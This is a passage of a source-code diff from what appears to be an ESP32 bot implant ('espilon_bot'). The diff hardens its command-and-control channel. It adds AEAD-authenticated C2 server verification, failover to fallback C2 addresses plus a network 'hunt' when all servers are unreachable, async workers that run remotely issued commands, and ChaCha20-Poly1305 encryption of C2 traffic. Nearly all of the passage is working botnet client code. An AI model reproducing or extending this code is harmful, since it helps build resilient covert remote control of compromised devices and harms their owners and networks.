||||
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 2) Read server challenge (recv timeout already set to 10s) */
|
||||
uint8_t rx_buf[256];
|
||||
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGE(TAG, "server_verify: no challenge received");
|
||||
return false;
|
||||
}
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
/* Strip trailing newline/CR */
|
||||
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
|
||||
rx_buf[--len] = '\0';
|
||||
|
||||
if (len == 0) {
|
||||
ESP_LOGE(TAG, "server_verify: empty challenge");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 3) Base64 decode */
|
||||
size_t decoded_len = 0;
|
||||
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
|
||||
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
|
||||
ESP_LOGE(TAG, "server_verify: base64 decode failed");
|
||||
free(decoded);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) Decrypt — AEAD tag verification proves server identity */
|
||||
uint8_t plain[256];
|
||||
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
|
||||
plain, sizeof(plain));
|
||||
free(decoded);
|
||||
|
||||
if (plain_len < 0) {
|
||||
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
#endif /* CONFIG_C2_VERIFY_SERVER */
|
||||
|
||||
/* =========================================================
|
||||
* Handle incoming frame
|
||||
* ========================================================= */
|
||||
static void handle_frame(const uint8_t *buf, size_t len)
|
||||
{
|
||||
char tmp[len + 1];
|
||||
memcpy(tmp, buf, len);
|
||||
tmp[len] = '\0';
|
||||
c2_decode_and_exec(tmp);
|
||||
if (len == 0 || len >= RX_BUF_SIZE) {
|
||||
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
|
||||
return;
|
||||
}
|
||||
/* buf is already null-terminated by strtok in tcp_rx_loop,
|
||||
and c2_decode_and_exec makes its own 1024-byte copy. */
|
||||
c2_decode_and_exec((const char *)buf);
|
||||
}
|
||||
|
||||
|
||||
/* =========================================================
|
||||
* TCP RX loop
|
||||
* Returns: true = still connected, false = disconnected
|
||||
* ========================================================= */
|
||||
static void tcp_rx_loop(void)
|
||||
static bool tcp_rx_loop(void)
|
||||
{
|
||||
static uint8_t rx_buf[RX_BUF_SIZE];
|
||||
|
||||
int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len <= 0) {
|
||||
ESP_LOGW(TAG, "RX failed / disconnected");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int current_sock = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (current_sock < 0) return false;
|
||||
|
||||
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
||||
if (len < 0) {
|
||||
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
|
||||
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "RX error: errno=%d", errno);
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
return;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
if (len == 0) {
|
||||
ESP_LOGW(TAG, "RX: peer closed connection");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* IMPORTANT: string termination for strtok */
|
||||
rx_buf[len] = '\0';
|
||||
|
||||
char *line = strtok((char *)rx_buf, "\n");
|
||||
char *saveptr = NULL;
|
||||
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
|
||||
while (line) {
|
||||
handle_frame((uint8_t *)line, strlen(line));
|
||||
line = strtok(NULL, "\n");
|
||||
line = strtok_r(NULL, "\n", &saveptr);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* C2 failover: try NVS fallback addresses on same network
|
||||
* ========================================================= */
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
|
||||
static bool try_fallback_c2s(void)
|
||||
{
|
||||
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
||||
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char ip_buf[48];
|
||||
int port = CONFIG_SERVER_PORT;
|
||||
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
||||
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
||||
|
||||
/* Parse "ip:port" format */
|
||||
char *colon = strrchr(ip_buf, ':');
|
||||
if (colon) {
|
||||
*colon = '\0';
|
||||
port = atoi(colon + 1);
|
||||
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
||||
|
||||
/* Close current socket */
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
if (sock >= 0) { lwip_close(sock); sock = -1; }
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
/* Try connect to fallback C2 */
|
||||
struct sockaddr_in server_addr = {0};
|
||||
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (new_sock < 0) continue;
|
||||
|
||||
server_addr.sin_family = AF_INET;
|
||||
server_addr.sin_port = htons(port);
|
||||
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
|
||||
|
||||
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
|
||||
sizeof(server_addr)) != 0) {
|
||||
lwip_close(new_sock);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
sock = new_sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_FB_AUTO_HUNT */
|
||||
|
||||
/* =========================================================
|
||||
* Main TCP client task
|
||||
* ========================================================= */
|
||||
void tcp_client_task(void *pvParameters)
|
||||
{
|
||||
if (!sock_mutex)
|
||||
sock_mutex = xSemaphoreCreateMutex();
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
int tcp_fail_count = 0;
|
||||
#endif
|
||||
|
||||
while (1) {
|
||||
|
||||
/* If fallback hunt is active, wait for it to finish */
|
||||
while (fb_active) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
|
||||
if (!tcp_connect()) {
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
tcp_fail_count++;
|
||||
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
|
||||
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
|
||||
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
|
||||
/* Level 1: C2 failover on same network */
|
||||
if (try_fallback_c2s()) {
|
||||
tcp_fail_count = 0;
|
||||
goto handshake;
|
||||
}
|
||||
/* Level 2: full network hunt */
|
||||
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
|
||||
fb_hunt_trigger();
|
||||
tcp_fail_count = 0;
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
tcp_fail_count = 0;
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_C2_VERIFY_SERVER
|
||||
if (!server_verify()) {
|
||||
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
lwip_close(sock);
|
||||
sock = -1;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_FB_AUTO_HUNT
|
||||
handshake:
|
||||
#endif
|
||||
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
||||
ESP_LOGI(TAG, "Handshake done");
|
||||
|
||||
while (sock >= 0) {
|
||||
tcp_rx_loop();
|
||||
if (!tcp_rx_loop()) break;
|
||||
vTaskDelay(1);
|
||||
}
|
||||
|
||||
|
||||
@ -17,7 +17,7 @@ bool com_init(void)
|
||||
xTaskCreatePinnedToCore(
|
||||
tcp_client_task,
|
||||
"tcp_client_task",
|
||||
8192,
|
||||
12288,
|
||||
NULL,
|
||||
1,
|
||||
NULL,
|
||||
|
||||
@ -1,4 +1,3 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
@ -63,12 +62,20 @@ void command_log_registry_summary(void)
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const char *name = registry[i] && registry[i]->name
|
||||
? registry[i]->name : "?";
|
||||
const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0])
|
||||
? registry[i]->sub : NULL;
|
||||
const char *sep = (i == 0) ? "" : ", ";
|
||||
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
int n;
|
||||
if (sub) {
|
||||
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s %s", sep, name, sub);
|
||||
} else {
|
||||
n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s", sep, name);
|
||||
}
|
||||
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
|
||||
if (off < (int)sizeof(buf) - 4) {
|
||||
strcpy(buf + (sizeof(buf) - 4), "...");
|
||||
memcpy(buf + (sizeof(buf) - 4), "...", 4);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@ -158,43 +165,58 @@ void command_process_pb(const c2_Command *cmd)
|
||||
if (strcmp(c->name, name) != 0)
|
||||
continue;
|
||||
|
||||
if (argc < c->min_args || argc > c->max_args) {
|
||||
/*
|
||||
* Sub-command matching: if the command has a .sub field,
|
||||
* argv[0] must match it. The sub is consumed (argv shifted
|
||||
* by 1) before passing to the handler.
|
||||
*/
|
||||
int sub_offset = 0;
|
||||
if (c->sub && c->sub[0]) {
|
||||
if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0)
|
||||
continue; /* not this sub-command, try next */
|
||||
sub_offset = 1;
|
||||
}
|
||||
|
||||
int effective_argc = argc - sub_offset;
|
||||
|
||||
if (effective_argc < c->min_args || effective_argc > c->max_args) {
|
||||
msg_error("cmd", "Invalid argument count", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
|
||||
if (c->sub && c->sub[0]) {
|
||||
ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc);
|
||||
} else {
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc);
|
||||
}
|
||||
|
||||
if (c->async) {
|
||||
/* Ton async copie déjà argv/request_id dans une queue => OK */
|
||||
command_async_enqueue(c, cmd);
|
||||
command_async_enqueue(c, cmd, sub_offset);
|
||||
return;
|
||||
}
|
||||
|
||||
/* ================================
|
||||
* SYNC PATH (FIX):
|
||||
* Ne PAS caster cmd->argv en char**
|
||||
* On construit argv_ptrs[] depuis cmd->argv[i]
|
||||
* SYNC PATH:
|
||||
* Build argv_ptrs[] from cmd->argv, skipping sub_offset
|
||||
* ================================ */
|
||||
if (argc > COMMAND_MAX_ARGS) {
|
||||
if (effective_argc > COMMAND_MAX_ARGS) {
|
||||
msg_error("cmd", "Too many args", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
|
||||
for (int a = 0; a < argc; a++) {
|
||||
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
|
||||
argv_ptrs[a] = (char *)cmd->argv[a];
|
||||
for (int a = 0; a < effective_argc; a++) {
|
||||
argv_ptrs[a] = (char *)cmd->argv[a + sub_offset];
|
||||
}
|
||||
|
||||
/* Deep-copy pour rendre sync aussi safe que async */
|
||||
char **argv_copy = NULL;
|
||||
char *arena = NULL;
|
||||
|
||||
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
|
||||
if (!deepcopy_argv(argv_ptrs, effective_argc, &argv_copy, &arena, reqid_or_null))
|
||||
return;
|
||||
|
||||
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
|
||||
c->handler(effective_argc, argv_copy, reqid_or_null, c->ctx);
|
||||
|
||||
free(argv_copy);
|
||||
free(arena);
|
||||
204
espilon_bot/components/core/command_async.c
Normal file
204
espilon_bot/components/core/command_async.c
Normal file
@ -0,0 +1,204 @@
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_timer.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const char *TAG = "CMD_ASYNC";
|
||||
|
||||
/* =========================================================
|
||||
* Configuration
|
||||
* ========================================================= */
|
||||
#ifndef CONFIG_ASYNC_WORKER_COUNT
|
||||
#define CONFIG_ASYNC_WORKER_COUNT 2
|
||||
#endif
|
||||
|
||||
#ifndef CONFIG_ASYNC_QUEUE_DEPTH
|
||||
#define CONFIG_ASYNC_QUEUE_DEPTH 8
|
||||
#endif
|
||||
|
||||
#define ASYNC_WORKER_STACK 4096
|
||||
#define WATCHDOG_INTERVAL_MS 5000
|
||||
#define WATCHDOG_TIMEOUT_US (60 * 1000000LL) /* 60s */
|
||||
|
||||
/* =========================================================
|
||||
* Async job structure
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
const command_t *cmd;
|
||||
int argc;
|
||||
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
|
||||
char *argv_ptrs[MAX_ASYNC_ARGS];
|
||||
char request_id[64];
|
||||
} async_job_t;
|
||||
|
||||
/* =========================================================
|
||||
* Per-worker state (watchdog tracking)
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
volatile int64_t start_us; /* 0 = idle */
|
||||
volatile bool alerted; /* already reported to C2 */
|
||||
const char *cmd_name; /* current command name */
|
||||
char request_id[64];
|
||||
} worker_state_t;
|
||||
|
||||
static QueueHandle_t async_queue;
|
||||
static worker_state_t worker_states[CONFIG_ASYNC_WORKER_COUNT];
|
||||
|
||||
/* =========================================================
|
||||
* Watchdog task — monitors workers for stuck commands
|
||||
* ========================================================= */
|
||||
static void watchdog_task(void *arg)
|
||||
{
|
||||
while (1) {
|
||||
vTaskDelay(pdMS_TO_TICKS(WATCHDOG_INTERVAL_MS));
|
||||
|
||||
int64_t now = esp_timer_get_time();
|
||||
|
||||
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
|
||||
worker_state_t *ws = &worker_states[i];
|
||||
|
||||
if (ws->start_us == 0 || ws->alerted)
|
||||
continue;
|
||||
|
||||
int64_t elapsed = now - ws->start_us;
|
||||
if (elapsed > WATCHDOG_TIMEOUT_US) {
|
||||
int secs = (int)(elapsed / 1000000LL);
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"Worker %d stuck: '%s' running for %ds",
|
||||
i, ws->cmd_name ? ws->cmd_name : "?", secs);
|
||||
|
||||
ESP_LOGW(TAG, "%s", buf);
|
||||
msg_error("cmd_async", buf,
|
||||
ws->request_id[0] ? ws->request_id : NULL);
|
||||
|
||||
ws->alerted = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Worker task (multiple instances share the same queue)
|
||||
* ========================================================= */
|
||||
static void async_worker(void *arg)
|
||||
{
|
||||
int worker_id = (int)(intptr_t)arg;
|
||||
worker_state_t *ws = &worker_states[worker_id];
|
||||
async_job_t job;
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
|
||||
* xQueueReceive copies the struct by value, so the old
|
||||
* pointers (set at enqueue time) are now dangling. */
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
/* Mark worker as busy for watchdog */
|
||||
ws->cmd_name = job.cmd->name;
|
||||
strncpy(ws->request_id, job.request_id, sizeof(ws->request_id) - 1);
|
||||
ws->alerted = false;
|
||||
ws->start_us = esp_timer_get_time();
|
||||
|
||||
ESP_LOGI(TAG, "Worker %d exec: %s", worker_id, job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
job.argc,
|
||||
job.argv_ptrs,
|
||||
job.request_id[0] ? job.request_id : NULL,
|
||||
job.cmd->ctx
|
||||
);
|
||||
|
||||
/* Mark worker as idle */
|
||||
ws->start_us = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Init async system
|
||||
* ========================================================= */
|
||||
void command_async_init(void)
|
||||
{
|
||||
memset(worker_states, 0, sizeof(worker_states));
|
||||
|
||||
async_queue = xQueueCreate(CONFIG_ASYNC_QUEUE_DEPTH, sizeof(async_job_t));
|
||||
if (!async_queue) {
|
||||
ESP_LOGE(TAG, "Failed to create async queue");
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0; i < CONFIG_ASYNC_WORKER_COUNT; i++) {
|
||||
char name[16];
|
||||
snprintf(name, sizeof(name), "cmd_async_%d", i);
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
async_worker,
|
||||
name,
|
||||
ASYNC_WORKER_STACK,
|
||||
(void *)(intptr_t)i,
|
||||
5,
|
||||
NULL,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create worker %d", i);
|
||||
}
|
||||
}
|
||||
|
||||
/* Watchdog: low priority, small stack, Core 0 */
|
||||
xTaskCreatePinnedToCore(watchdog_task, "cmd_wdog", 2048,
|
||||
NULL, 2, NULL, 0);
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready (%d workers, watchdog on)",
|
||||
CONFIG_ASYNC_WORKER_COUNT);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Enqueue async command
|
||||
* ========================================================= */
|
||||
void command_async_enqueue(const command_t *cmd,
|
||||
const c2_Command *pb_cmd,
|
||||
int argv_offset)
|
||||
{
|
||||
if (!cmd || !pb_cmd) return;
|
||||
|
||||
async_job_t job = {0};
|
||||
|
||||
job.cmd = cmd;
|
||||
job.argc = pb_cmd->argv_count - argv_offset;
|
||||
if (job.argc > MAX_ASYNC_ARGS)
|
||||
job.argc = MAX_ASYNC_ARGS;
|
||||
if (job.argc < 0)
|
||||
job.argc = 0;
|
||||
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
strncpy(job.argv[i],
|
||||
pb_cmd->argv[i + argv_offset],
|
||||
MAX_ASYNC_ARG_LEN - 1);
|
||||
job.argv[i][MAX_ASYNC_ARG_LEN - 1] = '\0';
|
||||
job.argv_ptrs[i] = job.argv[i];
|
||||
}
|
||||
|
||||
if (pb_cmd->request_id[0]) {
|
||||
strncpy(job.request_id,
|
||||
pb_cmd->request_id,
|
||||
sizeof(job.request_id) - 1);
|
||||
job.request_id[sizeof(job.request_id) - 1] = '\0';
|
||||
}
|
||||
|
||||
if (xQueueSend(async_queue, &job, 0) != pdTRUE) {
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "Async queue full, dropped '%s'",
|
||||
cmd->name);
|
||||
ESP_LOGE(TAG, "%s", buf);
|
||||
msg_error("cmd_async", buf, pb_cmd->request_id);
|
||||
}
|
||||
}
|
||||
@ -1,68 +1,206 @@
|
||||
// crypto.c
|
||||
// crypto.c – ChaCha20-Poly1305 AEAD with HKDF key derivation
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
|
||||
#include "mbedtls/chacha20.h"
|
||||
#include "mbedtls/chachapoly.h"
|
||||
#include "mbedtls/hkdf.h"
|
||||
#include "mbedtls/md.h"
|
||||
#include "mbedtls/base64.h"
|
||||
#include "mbedtls/platform_util.h"
|
||||
|
||||
#include "pb_decode.h"
|
||||
#include "c2.pb.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "command.h"
|
||||
|
||||
static const char *TAG = "CRYPTO";
|
||||
|
||||
/* ============================================================
|
||||
* Compile-time security checks
|
||||
* ============================================================ */
|
||||
_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32,
|
||||
"CONFIG_CRYPTO_KEY must be exactly 32 bytes");
|
||||
_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12,
|
||||
"CONFIG_CRYPTO_NONCE must be exactly 12 bytes");
|
||||
#define NONCE_LEN 12
|
||||
#define TAG_LEN 16
|
||||
#define KEY_LEN 32
|
||||
#define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
|
||||
|
||||
static uint8_t derived_key[KEY_LEN];
|
||||
static bool crypto_ready = false;
|
||||
|
||||
/* ============================================================
|
||||
* ChaCha20 encrypt/decrypt (same function)
|
||||
* crypto_init – read master key from factory NVS, derive via HKDF
|
||||
* ============================================================ */
|
||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len)
|
||||
bool crypto_init(void)
|
||||
{
|
||||
if (!data || data_len == 0) {
|
||||
ESP_LOGE(TAG, "Invalid input to chacha_cd");
|
||||
return NULL;
|
||||
esp_err_t err;
|
||||
|
||||
/* 1) Init the factory NVS partition */
|
||||
err = nvs_flash_init_partition("fctry");
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
|
||||
esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
unsigned char *out = (unsigned char *)malloc(data_len);
|
||||
if (!out) {
|
||||
ESP_LOGE(TAG, "malloc failed in chacha_cd");
|
||||
return NULL;
|
||||
/* 2) Open the crypto namespace (read-only) */
|
||||
nvs_handle_t handle;
|
||||
err = nvs_open_from_partition(
|
||||
"fctry",
|
||||
CONFIG_CRYPTO_FCTRY_NS,
|
||||
NVS_READONLY,
|
||||
&handle
|
||||
);
|
||||
if (err != ESP_OK) {
|
||||
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
|
||||
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
|
||||
return false;
|
||||
}
|
||||
|
||||
unsigned char key[32];
|
||||
unsigned char nonce[12];
|
||||
uint32_t counter = 0;
|
||||
/* 3) Read the 32-byte master key blob */
|
||||
uint8_t master_key[KEY_LEN];
|
||||
size_t mk_len = sizeof(master_key);
|
||||
|
||||
memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key));
|
||||
memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce));
|
||||
err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
|
||||
nvs_close(handle);
|
||||
|
||||
int ret = mbedtls_chacha20_crypt(
|
||||
key,
|
||||
if (err != ESP_OK || mk_len != KEY_LEN) {
|
||||
ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
|
||||
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
|
||||
(unsigned)mk_len);
|
||||
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||
return false;
|
||||
}
|
||||
|
||||
/* 4) HKDF-SHA256: derive the encryption key */
|
||||
const char *info = "espilon-c2-v1";
|
||||
const char *salt = CONFIG_DEVICE_ID;
|
||||
|
||||
int ret = mbedtls_hkdf(
|
||||
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
|
||||
(const uint8_t *)salt, strlen(salt),
|
||||
master_key, KEY_LEN,
|
||||
(const uint8_t *)info, strlen(info),
|
||||
derived_key, KEY_LEN
|
||||
);
|
||||
|
||||
/* Wipe master key from RAM immediately */
|
||||
mbedtls_platform_zeroize(master_key, sizeof(master_key));
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
|
||||
return false;
|
||||
}
|
||||
|
||||
crypto_ready = true;
|
||||
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* crypto_encrypt – ChaCha20-Poly1305 AEAD
|
||||
*
|
||||
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
|
||||
* Returns total output length, or -1 on error.
|
||||
* ============================================================ */
|
||||
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
|
||||
uint8_t *out, size_t out_cap)
|
||||
{
|
||||
if (!crypto_ready) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
|
||||
return -1;
|
||||
}
|
||||
if (!plain || plain_len == 0 || !out) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t needed = plain_len + OVERHEAD;
|
||||
if (out_cap < needed) {
|
||||
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
|
||||
(unsigned)out_cap, (unsigned)needed);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Random nonce in the first 12 bytes */
|
||||
esp_fill_random(out, NONCE_LEN);
|
||||
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||
|
||||
int ret = mbedtls_chachapoly_encrypt_and_tag(
|
||||
&ctx,
|
||||
plain_len,
|
||||
out, /* nonce */
|
||||
NULL, 0, /* no AAD */
|
||||
plain, /* input */
|
||||
out + NONCE_LEN, /* output (ciphertext) */
|
||||
out + NONCE_LEN + plain_len /* tag */
|
||||
);
|
||||
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return (int)needed;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* crypto_decrypt – ChaCha20-Poly1305 AEAD
|
||||
*
|
||||
* Input layout: nonce[12] || ciphertext[N] || tag[16]
|
||||
* Returns plaintext length, or -1 on error / auth failure.
|
||||
* ============================================================ */
|
||||
int crypto_decrypt(const uint8_t *in, size_t in_len,
|
||||
uint8_t *out, size_t out_cap)
|
||||
{
|
||||
if (!crypto_ready) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
|
||||
return -1;
|
||||
}
|
||||
if (!in || in_len < OVERHEAD || !out) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
|
||||
(unsigned)in_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t ct_len = in_len - OVERHEAD;
|
||||
if (out_cap < ct_len) {
|
||||
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const uint8_t *nonce = in;
|
||||
const uint8_t *ct = in + NONCE_LEN;
|
||||
const uint8_t *tag = in + NONCE_LEN + ct_len;
|
||||
|
||||
mbedtls_chachapoly_context ctx;
|
||||
mbedtls_chachapoly_init(&ctx);
|
||||
mbedtls_chachapoly_setkey(&ctx, derived_key);
|
||||
|
||||
int ret = mbedtls_chachapoly_auth_decrypt(
|
||||
&ctx,
|
||||
ct_len,
|
||||
nonce,
|
||||
counter,
|
||||
data_len,
|
||||
data,
|
||||
NULL, 0, /* no AAD */
|
||||
tag,
|
||||
ct,
|
||||
out
|
||||
);
|
||||
|
||||
mbedtls_chachapoly_free(&ctx);
|
||||
|
||||
if (ret != 0) {
|
||||
ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret);
|
||||
free(out);
|
||||
return NULL;
|
||||
ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return out; /* binary-safe */
|
||||
return (int)ct_len;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
@ -134,7 +272,6 @@ char *base64_decode(const char *input, size_t *output_len)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Optional null terminator for debug */
|
||||
out[*output_len] = '\0';
|
||||
return (char *)out;
|
||||
}
|
||||
@ -151,15 +288,14 @@ bool c2_decode_and_exec(const char *frame)
|
||||
|
||||
/* Trim CR/LF/spaces at end (SIM800 sometimes adds \r) */
|
||||
